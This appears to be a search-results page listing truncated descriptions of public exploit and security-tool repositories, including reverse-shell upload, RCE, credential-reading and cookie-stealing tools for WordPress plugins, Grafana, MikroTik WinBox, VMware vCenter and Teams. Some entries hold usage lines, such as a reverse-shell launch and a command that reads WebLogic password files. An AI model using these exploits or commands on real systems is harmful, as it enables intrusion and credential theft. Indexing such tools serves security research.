460554 matches found
EUVD-2026-94156
Insertion of Sensitive Information into Log File in certain ASUS router models allows a remote authenticated attacker to obtain DDNS credentials from the system log, potentially enabling modification of DNS settings.Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS...
teams-cookies-bof
teams-cookies-bof Roba cookies de Teams mientras se ejecuta dentro del proceso ms-teams.exe. Publicación relacionada: https://tierzerosecurity.co.nz/2025/11/03/teams-cookies-bof.html Basado en: https://blog.randorisec.fr/ms-teams-access-tokens/. Esta herramienta se basa en gran medida en...
r2frida
r2frida Radare2 and Frida better together Description Self-contained plugin for radare2 that ships frida and allows to instrument local or remote processes using r2 commands instead but not limited to Frida scripts. The radare project provides a complete toolchain for reverse engineering, it's...
CVE-2020-24186_reverse_shell_upload
CVE-2020-24186 subida de shell inversa Exploit para WpDiscuz 7.0.4 basado en el exploit escrito por h3v0x. Explota la vulnerabilidad y sube una shell PHP inversa. La inspiración fue el CTF Blogger. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001...
cve-2022-44268
CVE-2022-44268 Crédito a los investigadores que descubrieron esto: Bryan Gonzalez y el equipo Ocelot Crea un PNG malicioso para aprovechar ImageMagick 7.1.0-40: CVE-2022-44267: Denegación de servicio CVE-2022-44268: Divulgación de información Descargo de responsabilidad: El autor de este proyecto...
CVE-2021-43798
CVE-2021-43798 Recorrido de directorios de Grafana Programa simple para explotar el recorrido de directorios de Grafana instalación gem install httparty gem install colorize gem install timeout ruby cve-2021-43798.rb...
CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit
CVE-2026-3891-Pix-for-WooCommerce-插件-利用 🛡️ 描述 CVE-2026-3891 是一个严重的未经认证的任意文件上传漏洞 ，存在于 Pix for WooCommerce WordPress 插件中，影响版本至 1.5.0（含） 。 该漏洞存在于 lknpixforwoocommercec6savesettings 功能中，原因是缺少授权控制且文件类型验证不足。此利用工具自动获取有效 nonce，并演示了将 PHP 文件无限制上传到 Web 可访问目录的过程。 通过利用此漏洞，未经认证的攻击者可能能够： 上传任意文件 ，无需 WordPress 认证。...
CVE-2018-14847
WinboxExploit 这是针对严重 WinBox 漏洞（CVE-2018-14847）的概念验证，该漏洞允许任意读取明文密码的文件。 博客文章 https://n0p.me/winbox-bug-dissection/ 需求 Python 3+ 此脚本不会在 Python 2.x 或更低版本上运行。 使用方法 该脚本通过命令行使用简单的参数即可运行。 WinBox TCP/IP 利用漏洞并读取密码。 python3 WinboxExploit.py PORT 示例： $ python3 WinboxExploit.py 172.17.17.17 Connected to...
CVE-2023-36900
CVE-2023-36900 关于此漏洞：https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36900。 分析文章 针对.blf扩展名的Imhex模式 包含CLFS结构声明的头文件 拒绝服务概念验证 针对blf扩展的Imhex模式 之前： 之后： 该模式远非理想，但可能有用。链接 使用方法： File-Import-Pattern File 拒绝服务概念验证 该概念验证需要安装python和pwntools模块。...
CVE-2026-1357
CVE-2026-1357 — WPvivid Backup & Migration RCE Subida de archivos arbitrarios sin autenticar → Ejecución remota de código Campo| Valor ---|--- CVE| CVE-2026-1357 CVSS| 9.8 Crítico Plugin| WPvivid Backup & Migration Afectado| ≤ 0.9.123 Corregido| 0.9.124 Descubierto por| Lucas Montes NiRoX PoC por...
CVE-2022-3910
CVE-2022-3910 poc dirtyfile dirtymm...
CVE-2021-21972
CVE-2021-21972 CVE-2021-21972 RCE no autorizado en VMware vCenter script de exploit de Metasploit preparación git clone https://github.com/TaroballzChen/CVE-2021-21972 cd CVE-2021-21972 mkdir -p /.msf4/modules/exploits/multi/http cp /.msf4/modules/exploits/multi/http chmod +x...
cve-2019-2618
cve-2019-2618 Weblogic Upload VulnNeed username password-CVE-2019-2618 python使用 python CVE-2019-2618.py url username password 解密weblogic密码 root@f0cb7e674d7e:/Oracle cat /root/Oracle/Middleware/userprojects/domains/basedomain/servers/AdminServer/security/boot.properties |grep pass...
choronzon
Choronzon - 一种基于进化知识的模糊测试工具 简介 本文档旨在简要解释 Choronzon 背后的理论。此外，它还提供了关于其内部机制以及如何扩展 Choronzon 以满足新需求的详细信息。Choronzon 架构的概述最初在 ZeroNights 2015 会议 上提出。该演讲的录像和幻灯片也已提供。 Choronzon 是一种进化模糊测试工具。它试图模仿进化过程，以持续产生更好的结果。为此，它配备了一套评估系统，用于判断哪些被模糊处理过的文件是有趣的，哪些应该被丢弃。 此外，Choronzon...
CVE-2024-0757-Exploit
CVE-2024-0757 Exploit Descripción El plugin Insert or Embed Articulate Content into WordPress para WordPress es vulnerable a subidas arbitrarias de archivos a través de subidas inseguras de archivos en un archivo zip en todas las versiones hasta, e incluyendo, la 4.3000000023. Esto permite que...
CVE-2021-29447
Orden de instalación y ejecución 0. Ejecutar docker $docker-compose up 1. Ejecutar wordpress.sh Antes de instalar WordPress, configure el archivo wp-config.php. $docker exec -it -u root wordpress /bin/bash -c "/usr/local/bin/wordpress.sh" 2. Instalar WordPress Acceda al sitio de WordPress...
CVE-2025-27591-Below
CVE-2025-27591-Below 📌 Descripción Este es un exploit prueba de concepto PoC para CVE-2025-27591 , una vulnerabilidad de escalada local de privilegios en la herramienta de monitorización del sistema below. El problema surge de la gestión insegura de los archivos de registro...
OpenSTAManager-RCE-Exploit-CVE-2026-38751
Exploit RCE de OpenSTAManager CVE-2026-38751 Carga arbitraria de archivos que conduce a Ejecución Remota de Código Prueba de concepto completa para CVE-2026-38751 , escrita en Rust. Advertencia : Esta herramienta está destinada únicamente para pruebas de seguridad autorizadas y fines educativos...
shortscan
🌀 Shortscan 一个IIS短文件名枚举工具。 功能 Shortscan旨在快速确定IIS Web服务器上存在哪些具有短文件名的文件。一旦识别出短文件名，该工具将尝试自动识别完整的文件名。 除了标准发现方法外，Shortscan还使用独特的校验和匹配方法来尝试查找长文件名，其中短文件名基于Windows专有的短名称冲突避免校验和算法（关于此研究的更多信息将在日后发布）。 安装 快速安装 使用最新版本的Go: go install github.com/bitquark/shortscan/cmd/shortscan@latest 手动安装 要在本地构建（并可选择安装）： go ge...